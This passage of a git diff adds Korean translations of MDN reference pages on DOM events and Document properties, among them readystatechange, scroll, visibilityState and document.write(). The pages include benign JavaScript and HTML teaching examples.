+.controls {
+  grid-area: control;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+.event-log {
+  grid-area: log;
+}
+
+.event-log-contents {
+  resize: none;
+}
+
+label, button {
+  display: block;
+}
+
+#reload {
+  height: 2rem;
+}
+
+</pre>
+</div>
+
+<h4 id="JS">JS</h4>
+
+<pre class="brush: js">const log = document.querySelector('.event-log-contents');
+const reload = document.querySelector('#reload');
+
+reload.addEventListener('click', () =&gt; {
+  log.textContent ='';
+  window.setTimeout(() =&gt; {
+      window.location.reload(true);
+  }, 200);
+});
+
+window.addEventListener('load', (event) =&gt; {
+    log.textContent = log.textContent + 'load\n';
+});
+
+document.addEventListener('readystatechange', (event) =&gt; {
+    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
+});
+
+document.addEventListener('DOMContentLoaded', (event) =&gt; {
+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Live_example', '100%', '160px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Document.readystatechange_event")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related events: <code><a href="/en-US/docs/Web/API/Document/DOMContentLoaded_event">DOMContentLoaded</a></code>, <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, <code><a href="/en-US/docs/Web/API/Window/beforeunload_event">beforeunload</a></code>, <code><a href="/en-US/docs/Web/API/Window/unload_event">unload</a></code></li>
+</ul>
diff --git a/files/ko/web/api/document/referrer/index.html b/files/ko/web/api/document/referrer/index.html
new file mode 100644
index 0000000000..547eaf2993
--- /dev/null
+++ b/files/ko/web/api/document/referrer/index.html
@@ -0,0 +1,23 @@
+---
+title: Document.referrer
+slug: Web/API/Document/referrer
+translation_of: Web/API/Document/referrer
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div>링크를 통해 현재 페이지로 이동 시킨, 전 페이지의 URI 정보를 반환.</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>string</var> = document.referrer;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>페이지로 바로 접근하였을 경우 이 값은 빈 문자열을 반환함.(링크를 통해서 온것이 아닌, 예를 들면, 북마크를 통해서 이동했을 경우). 문자열만을 반환하기 때문에,  참조 페이지(referring page)에 대한 DOM  액세스가 제공되지 않음. </p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95229140">DOM Level 2: referrer</a></li>
+</ul>
diff --git a/files/ko/web/api/document/scroll_event/index.html b/files/ko/web/api/document/scroll_event/index.html
new file mode 100644
index 0000000000..6552fbf6f2
--- /dev/null
+++ b/files/ko/web/api/document/scroll_event/index.html
@@ -0,0 +1,141 @@
+---
+title: scroll
+slug: Web/API/Document/scroll_event
+tags:
+  - DOM
+  - Event
+  - Event Handler
+  - Reference
+  - 레퍼런스
+  - 이벤트
+  - 이벤트핸들링
+translation_of: Web/API/Document/scroll_event
+---
+<p>document view 나 element가 스크롤 될 때, <strong><code>scroll</code></strong>  이벤트가 발생합니다.</p>
+
+<h2 id="개요">개요</h2>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>인터페이스</th>
+   <td>{{domxref("UIEvent")}}</td>
+  </tr>
+  <tr>
+   <th>버블</th>
+   <td>element에는 없지만, document에서 실행될 때 버블링이 발생합니다.</td>
+  </tr>
+  <tr>
+   <th>취소가능여부</th>
+   <td>불가</td>
+  </tr>
+  <tr>
+   <th>타겟</th>
+   <td>DefaultView, {{domxref("Document")}}, {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <th>기본 액션</th>
+   <td>없음</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">속성</th>
+   <th scope="col">타입</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>이벤트 대상 (DOM 트리의 최상위 타겟)</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>이벤트의 타입</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>이벤트가 버블이 되는지</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>이벤트 취소가 가능한지</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>{{domxref("WindowProxy")}}</td>
+   <td>{{domxref("Document.defaultView")}} (document의 <code>window</code>)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td><code>0</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="스크롤_이벤트의_조절">스크롤 이벤트의 조절</h3>
+
+<p><code>scroll </code>이벤트가 빠른 속도로 실행될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같이 느린 작업을 실행하지 말아야 합니다. 대신, 다음을 사용하여 이벤트를 제한하는 것을 권장합니다.<br>
+ {{domxref("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{domxref("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}}, 혹은, {{domxref("CustomEvent")}}</p>
+
+<p>그러나 입력 이벤트와 애니메이션 프레임은 거의 동일한 속도로 실행되므로 아래 최적화는 종종 불필요합니다. 다음은 <code>requestAnimationFrame</code>에 대한 <code>scroll</code>이벤트를 최적화하는 예제입니다.</p>
+
+<pre class="brush: js">// 참조: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // scroll 위치에 대한 작업을 하세요
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});</pre>
+
+<h3 id="추가_예제">추가 예제</h3>
+
+<p>더 보려면, {{Event("resize")}} 이벤트 페이지에 비슷한 예제가 있습니다.</p>
+
+<h2 id="사양">사양</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a></li>
+ <li><a href="http://www.w3.org/TR/cssom-view/#scrolling-0">CSSOM View</a></li>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="iOS_UIWebView">iOS UIWebView</h3>
+
+<p>iOS UIWebViews에서, 스크롤 중에는 <code>scroll</code> 발생하지 않습니다. 스크롤이 끝났을 때, 발생됩니다. <a href="https://github.com/twbs/bootstrap/issues/16202">Bootstrap issue #16202</a>를 참고하세요. 사파리와 WKWebViews에서는 이 문제가 발생하지 않습니다.</p>
+
+<h2 id="같이보기">같이보기</h2>
+
+<ul>
+ <li>{{domxref("GlobalEventHandlers.onscroll")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/stylesheetsets/index.html b/files/ko/web/api/document/stylesheetsets/index.html
new file mode 100644
index 0000000000..b69b728e89
--- /dev/null
+++ b/files/ko/web/api/document/stylesheetsets/index.html
@@ -0,0 +1,59 @@
+---
+title: Document.styleSheetSets
+slug: Web/API/Document/styleSheetSets
+tags:
+  - API
+  - CSSOM
+  - DOM
+  - Property
+  - Reference
+  - Stylesheets
+translation_of: Web/API/Document/styleSheetSets
+---
+<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}</div>
+
+<p><code><strong>styleSheetSets</strong></code>의 읽기 전용 속성은 현재 사용 가능한 모든 스타일 시트 세트의 live 리스트를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">var <var>sets</var> = <var>document</var>.styleSheetSets;
+</pre>
+
+<p> 반환시, <code>sets</code>는 사용할 수 있는 스타일 시트 세트의 리스트.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>ID가 "sheetList"인 {{HTMLElement("ul")}} (list) 요소가 주어지면, 사용 가능한 모든 스타일 시트 세트의 이름으로 아래와 같은 코드로 채울 수 있습니다.</p>
+
+<pre class="brush:js notranslate">let list = document.getElementById('sheetList');
+let sheets = document.styleSheetSets;
+
+list.innerHTML = '';
+
+for (let i = 0; i &lt; sheets.length; i++) {
+  let item = document.createElement('li');
+
+  item.innerHTML = sheets[i];
+  list.appendChild(item);
+}</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>사용 가능한 스타일 시트 세트 리스트는 문서에 사용 가능한 모든 스타일 시트를 열거하여 구성되고, {{domxref("document.styleSheets")}} 속성에 나열된 순서대로, 리스트에 제목을 가진 각각의 스타일 시트 <code>title</code>을 추가합니다. 중복 항목이 리스트에서 삭제됨. (대소문자 구분 비교 사용).</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.styleSheetSets")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li>{{domxref("Stylesheet")}}</li>
+ <li>{{domxref("document.styleSheets")}}</li>
+ <li>{{domxref("document.lastStyleSheetSet")}}</li>
+ <li>{{domxref("document.preferredStyleSheetSet")}}</li>
+ <li>{{domxref("document.selectedStyleSheetSet")}}</li>
+ <li>{{domxref("document.enableStyleSheetsForSet()")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/url/index.html b/files/ko/web/api/document/url/index.html
new file mode 100644
index 0000000000..527d754ddf
--- /dev/null
+++ b/files/ko/web/api/document/url/index.html
@@ -0,0 +1,69 @@
+---
+title: Document.URL
+slug: Web/API/Document/URL
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/Document/URL
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} 인터페이스의 <code><strong>URL</strong></code> 읽기 전용 속성은 문서의 주소를 문자열로 반환합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.getElementById("url").textContent = document.URL;</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="urlText"&gt;
+  URL:&lt;br/&gt;
+  &lt;span id="url"&gt;URL이 여기 보입니다&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 100)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.Document.URL")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("HTMLDocument")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/visibilitychange_event/index.html b/files/ko/web/api/document/visibilitychange_event/index.html
new file mode 100644
index 0000000000..d15b1d3d38
--- /dev/null
+++ b/files/ko/web/api/document/visibilitychange_event/index.html
@@ -0,0 +1,72 @@
+---
+title: visibilitychange
+slug: Web/API/Document/visibilitychange_event
+tags:
+  - API
+  - Event
+  - Reference
+  - Web
+translation_of: Web/API/Document/visibilitychange_event
+---
+<div>{{APIRef}}</div>
+
+<p><code>visibilitychange</code> 이벤트는 브라우저 탭의 컨텐츠가 visible 또는 hidden 상태로 변화할 때 발생된다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("event")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler property</th>
+   <td>{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js;">document.addEventListener("visibilitychange", function() {
+  console.log( document.visibilityState );
+});
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("api.Document.visibilitychange")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Page_Visibility_API">Page Visibility API</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/DOM/Using_the_Page_Visibility_API" title="DOM/Using_the_Page_Visibility_API">Using the Page Visibility API</a></li>
+ <li>{{domxref("Document.visibilityState")}}</li>
+</ul>
diff --git a/files/ko/web/api/document/visibilitystate/index.html b/files/ko/web/api/document/visibilitystate/index.html
new file mode 100644
index 0000000000..5bbe2eb242
--- /dev/null
+++ b/files/ko/web/api/document/visibilitystate/index.html
@@ -0,0 +1,56 @@
+---
+title: Document.visibilityState
+slug: Web/API/Document/visibilityState
+tags:
+  - DOM
+  - Document
+  - Property
+  - Read-only
+  - Reference
+  - Web
+translation_of: Web/API/Document/visibilityState
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p><code><strong>Document.visibilityState</strong></code> 읽기 전용 property로, 이 element가 현재 표시된 컨텍스트를 나타내는 {{domxref('document')}}의 가시성을 반환합니다. document가 background 또는 보이지 않는 탭(다른 탭)에 있는지, 또는 pre-rendering을 위해 로드 된 것인지를 아는 것은 유용합니다. 가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>'visible'</code> : 페이지 내용은 적어도 부분적으로 보일 수 있습니다. 실제로 이는 페이지가 최소화 되지 않은 창(브라우저)에서의 선택된 탭 을 의미 합니다.</li>
+ <li><code>'hidden</code>' : 페이지 내용은 사용자에게 표시되지 않습니다. 실제로 이는 document가 background-tap(다른 탭)이거나, 최소화 된 창의 일부이거나, OS 화면 잠금이 활성 상태임을 의미합니다.</li>
+ <li><code>'prerender'</code> : 페이지 내용이 pre-rendering되어 사용자에게 보이지 않습니다 (document.hidden 목적으로 숨겨진 것으로 간주 합니다.). document는이 상태에서 시작될 수 있지만, 절대로 다른 값에서 이 값으로 전환되지는 않습니다. 참고 : 브라우저 지원은 선택 사항입니다.</li>
+ <li><code>'unloaded</code>' : 페이지가 메모리에서 로드되지 않았습니다. 참고 : 브라우저 지원은 선택 사항입니다.</li>
+</ul>
+
+<p>이 property의 값이 변경되면 {{event ( 'visibilitychange')}} 이벤트가 {{domxref ( "Document")}}로 전송됩니다.</p>
+
+<p>일반적으로 document pre-rendering 시에 일부 assets의 다운로드를 막을 수 있습니다(역:초기 로딩 속도 향상). document가 백그라운드에 있거나 최소화 된 상태에서 일부 작업을 중지 할 수 있습니다(역:대표적으로 interval). 브라우저를 참고하십시오.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">document.addEventListener("visibilitychange", function() {
+  console.log(document.hidden);
+  // 숨김 여부가 변했을 때의 행동
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}</td>
+   <td>{{Spec2('Page Visibility API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.visibilityState")}}</p>
diff --git a/files/ko/web/api/document/write/index.html b/files/ko/web/api/document/write/index.html
new file mode 100644
index 0000000000..5320bb2861
--- /dev/null
+++ b/files/ko/web/api/document/write/index.html
@@ -0,0 +1,102 @@
+---
+title: Document.write()
+slug: Web/API/Document/write
+translation_of: Web/API/Document/write
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>{{domxref("document.open()")}}에 의해 열린 문서 스팀에 텍스트 스트링을 적는다.</p>
+
+<div class="note">주: as <code>document.write</code> writes to the document <strong>stream</strong>, calling <code>document.write</code> on a closed (loaded) document automatically calls <code>document.open</code>, <a href="/en-US/docs/Web/API/document.open#Notes">which will clear the document</a>.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">document.write(<em>markup</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>markup</code></dt>
+ <dd>document 문성에 씌여질 텍스트를 포함하고 있는 스트링.</dd>
+</dl>
+
+<h3 id="예">예</h3>
+
+<pre class="brush: html">&lt;html&gt;
+
+&lt;head&gt;
+  &lt;title&gt;write example&lt;/title&gt;
+
+  &lt;script&gt;
+    function newContent() {
+      alert("load new content");
+      document.open();
+      document.write("&lt;h1&gt;Out with the old - in with the new!&lt;/h1&gt;");
+      document.close();
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="newContent();"&gt;
+  &lt;p&gt;Some original document content.&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="주">주</h2>
+
+<p>Writing to a document that has already loaded without calling {{domxref("document.open()")}} will automatically call <code>document.open</code>. Once you have finished writing, it is recommended to call {{domxref("document.close()")}} to tell the browser to finish loading the page. The text you write is parsed into the document's structure model. In the example above, the <code>h1</code> element becomes a node in the document.</p>
+
+<p>If the <code>document.write()</code> call is embedded within an inlined HTML <code>&lt;script&gt;</code> tag, then it will not call <code>document.open()</code>. For example:</p>
+
+<pre class="brush: html">&lt;script&gt;
+  document.write("&lt;h1&gt;Main title&lt;/h1&gt;")
+&lt;/script&gt;
+</pre>
+
+<div class="note"><strong>Note</strong>: <code>document.write</code> and <code>document.writeln</code> <a href="/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">do not work in XHTML documents</a> (you'll get a "Operation is not supported" [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] error in the error console). This happens when opening a local file with the .xhtml file extension or for any document served with an <code>application/xhtml+xml</code> {{Glossary("MIME type")}}. More information is available in the <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<div class="note"><strong>Note</strong>: <code>document.write</code> in <a href="/en-US/docs/Web/HTML/Element/script#attr-defer">deferred</a> or <a href="/en-US/docs/Web/HTML/Element/script#attr-async">asynchronous</a> scripts will be ignored, and you'll get a message like "A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored" in the error console.</div>
+
+<div class="note"><strong>Note</strong>: In Edge only, calling <code>document.write</code> more than once in an iframe causes the error SCRIPT70: Permission denied.</div>
+
+<div class="note"><strong>Note</strong>: Starting in 55, Chrome will not execute <code>&lt;script&gt;</code> elements injected via <code>document.write()</code> in case of an HTTP cache miss for users on a 2G connection.</div>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Document.write")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("element.innerHTML") }}</li>
+ <li>{{ domxref("document.createElement()") }}</li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/events/index.html b/files/ko/web/api/document_object_model/events/index.html
new file mode 100644
index 0000000000..2974c9d435
--- /dev/null
+++ b/files/ko/web/api/document_object_model/events/index.html
@@ -0,0 +1,84 @@
+---
+title: Events and the DOM
+slug: Web/API/Document_Object_Model/Events
+translation_of: Web/API/Document_Object_Model/Events
+---
+<div>{{DefaultAPISidebar("DOM")}}</div>
+
+<h2 id="Introduction" name="Introduction">소개</h2>
+
+<p>이 장에서는 DOM 이벤트 모델을 설명한다.  <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Event</a> 인터페이스는 DOM의 노드에서 이벤트 등록 및  <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">event listeners</a>를 위한 인터페이스와 더불어 다양한 이벤트 인터페이스가 서로 어떻게 관련되는지 보여주는 몇 가지 더 긴 예와 함께 설명된다.</p>
+
+<p>There is an excellent diagram that clearly explains the three phases of event flow through the DOM in the <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events draft</a>.</p>
+
+<p>Also see <a href="/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Example 5: Event Propagation</a> in the Examples chapter for a more detailed example of how events move through the DOM.</p>
+
+<h2 id="DOM_event_handler_List" name="DOM_event_handler_List">Event listener등록</h2>
+
+<p>DOM 요소에 대한 이벤트 핸들러를 등록하는 방법에는 3가지가 있다.</p>
+
+<h3 id="EventTarget.addEventListener" name="EventTarget.addEventListener">{{domxref("EventTarget.addEventListener")}}</h3>
+
+<pre class="brush: js notranslate">// Assuming myButton is a button element
+myButton.addEventListener('click', greet, false)
+function greet(event){
+    // print and have a look at the event object
+    // always print arguments in case of overlooking any other arguments
+    console.log('greet:', arguments)
+    alert('hello world')
+}
+</pre>
+
+<p>이 방식은 근대의 웹페이지에서 사용해야하는 방법이다.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Internet Explorer 6–8 didn't support this method, offering a similar {{domxref("EventTarget.attachEvent")}} API instead. For cross-browser compatibility, use one of the many JavaScript libraries available.</p>
+</div>
+
+<p>더 자세한 내용은{{domxref("EventTarget.addEventListener")}}를 참조하세요.</p>
+
+<h3 id="HTML_attribute" name="HTML_attribute"><a href="/en-US/docs/Web/Guide/HTML/Event_attributes">HTML </a>속성</h3>
+
+<pre class="brush: html notranslate">&lt;button onclick="alert('Hello world!')"&gt;
+</pre>
+
+<p>속성에서 JavaScript 코드는 이벤트 매개변수를 통해 이벤트 객체를 통과합니다. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">반환 값은 HTML 사양에 설명된 특별한 방법으로 처리됩니다.</a></p>
+
+<div class="blockIndicator warning">
+<p><strong>경고:</strong> 이 방법은 피해야 합니다! 그것은 마크업을 부풀리고, 읽기 어렵게 만듭니다. 내용/구조와 행동에 대한 우려는 잘 분리되어 있지 않아 버그를 찾기가 더 어려워집니다.</p>
+</div>
+
+<h3 id="DOM_element_properties" name="DOM_element_properties">DOM 요소 특성</h3>
+
+<pre class="brush: js notranslate">// Assuming myButton is a button element
+myButton.onclick = function(event){alert('Hello world')}
+</pre>
+
+<p>The function can be defined to take an <code>event</code> parameter. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">The return value is treated in a special way, described in the HTML specification</a>.</p>
+
+<p>The problem with this method is that only one handler can be set per element and per event.</p>
+
+<h2 id="Accessing_Event_interfaces">Accessing Event interfaces</h2>
+
+<p>Event handlers may be attached to various objects (including DOM elements, document, the {{domxref("window")}} object, etc.). When an event occurs, an event object is created and passed sequentially to the event listeners.</p>
+
+<p>The {{domxref("Event")}} interface is accessible from within the handler function, via the event object passed as the first argument. The following simple example shows how an event object is passed to the event handler function, and can be used from within one such function.</p>
+
+<pre class="brush: js notranslate">function print(evt) {
+  // the evt parameter is automatically assigned the event object
+  // take care of the differences between console.log &amp; alert
+  console.log('print:', evt)
+  alert(evt)
+}
+// any function should have an appropriate name, that's what called semantic
+table_el.onclick = print
+</pre>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">Introduction to the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Events">Events and the DOM</a></li>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model/Examples">Examples</a></li>
+</ul>
diff --git a/files/ko/web/api/document_object_model/examples/index.html b/files/ko/web/api/document_object_model/examples/index.html
new file mode 100644
index 0000000000..aacebc7d07
--- /dev/null
+++ b/files/ko/web/api/document_object_model/examples/index.html
@@ -0,0 +1,372 @@
+---
+title: Examples
+slug: Web/API/Document_Object_Model/Examples
+---
+<p>이 장에서는 DOM을 사용한 웹, XML 개발의 긴 예제를 제공합니다. 예제는 문서의 object를 조작하기 위해 가능한 JavaScript의 일반적인 API, 트릭, 패턴을 사용합니다. </p>
+
+<h2 id="Example_1_height_and_width" name="Example_1:_height_and_width">예제 1: 높이와 너비</h2>
+
+<p>아래의 예제는 다양한 면적의 이미지를 통해 <code>height</code> 와 <code>width</code>  속성을 사용하는 방법을 보여줍니다:</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;width/height example&lt;/title&gt;
+&lt;script&gt;
+function init() {
+  var arrImages = new Array(3);
+
+  arrImages[0] = document.getElementById("image1");
+  arrImages[1] = document.getElementById("image2");
+  arrImages[2] = document.getElementById("image3");
+
+  var objOutput = document.getElementById("output");
+  var strHtml = "&lt;ul&gt;";
+
+  for (var i = 0; i &lt; arrImages.length; i++) {
+    strHtml += "&lt;li&gt;image" + (i+1) +
+            ": height=" + arrImages[i].height +
+            ", width=" + arrImages[i].width +
+            ", style.height=" + arrImages[i].style.height +
+            ", style.width=" + arrImages[i].style.width +
+            "&lt;\/li&gt;";
+  }
+
+  strHtml += "&lt;\/ul&gt;";
+
+  objOutput.innerHTML = strHtml;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="init();"&gt;
+
+&lt;p&gt;Image 1: no height, width, or style
+  &lt;img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif"&gt;
+&lt;/p&gt;
+
+&lt;p&gt;Image 2: height="50", width="500", but no style
+  &lt;img id="image2"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       height="50" width="500"&gt;
+&lt;/p&gt;
+
+&lt;p&gt;Image 3: no height, width, but style="height: 50px; width: 500px;"
+  &lt;img id="image3"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       style="height: 50px; width: 500px;"&gt;
+&lt;/p&gt;
+
+&lt;div id="output"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_2_Image_Attributes" name="Example_2:_Image_Attributes">예제 2: 이미지 속성</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Modifying an image border&lt;/title&gt;
+
+&lt;script&gt;
+function setBorderWidth(width) {
+  document.getElementById("img1").style.borderWidth = width + "px";
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;
+  &lt;img id="img1"
+       src="image1.gif"
+       style="border: 5px solid green;"
+       width="100" height="100" alt="border test"&gt;
+&lt;/p&gt;
+
+&lt;form name="FormName"&gt;
+  &lt;input type="button" value="Make border 20px-wide" onclick="setBorderWidth(20);" /&gt;
+  &lt;input type="button" value="Make border 5px-wide"  onclick="setBorderWidth(5);" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_3_Manipulating_Styles" name="Example_3:_Manipulating_Styles">예제 3: 스타일 조작</h2>
+
